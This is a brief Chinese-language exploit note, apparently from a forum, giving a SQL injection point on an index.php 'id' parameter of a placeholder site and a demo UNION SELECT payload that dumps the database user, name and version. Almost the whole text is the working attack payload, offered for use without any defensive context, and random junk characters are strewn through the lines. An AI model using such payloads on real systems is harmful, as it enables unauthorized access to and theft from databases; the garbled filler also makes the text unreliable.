利用方法:$ t) O% i/ n& k: _* f! ]+ z) A0 C$ c
http://www.xxx.com/index.php?id=[SQL]3 ~- ]2 Z2 O* @2 K* `5 n2 l7 b3 j
Demo:7 F3 x3 C" t8 @' i, A1 j
http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |